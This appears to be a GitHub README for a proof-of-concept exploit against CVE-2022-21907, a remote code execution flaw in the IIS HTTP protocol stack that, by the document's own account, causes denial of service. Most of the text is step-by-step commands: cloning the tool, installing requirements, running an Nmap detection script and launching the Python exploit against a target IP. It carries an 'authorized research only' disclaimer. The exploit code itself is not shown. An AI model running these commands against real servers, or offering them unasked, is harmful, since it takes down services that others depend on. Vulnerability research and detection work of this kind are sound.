asepsaepdin/cve-2022-21907Proof-of-concept exploit for CVE-2022-21907, a remote code execution vulnerability in the HTTP protocol stack (IIS). Includes a Python script and Nmap script for detection and exploitation.
⚠️ For educational and authorized security research purposes only
Very grateful to the original PoC author NU11SECURITY and michelep
HTTP Protocol Stack Remote Code Execution Vulnerability. This vulnerability would cause a denial-of-service attack to a target system that has an IIS web server.
Install git, then clone the PoC from the github repository:
sudo apt install git -y
git clone https://github.com/asepsaepdin/CVE-2022-21907.git
Install the requirements using pip3 command:
sudo apt install python3-pip -y
cd CVE-2022-21907
pip3 install -r requirements.txt
Check the presence of vulnerability of target machine using command:
nmap -p 80 --script dos_iis_2022_21907 10.10.10.1
Then, run the PoC scripts using command:
python3 CVE-2022-21907.py -i 10.10.1.10
Notes: specify -i options with the target IP address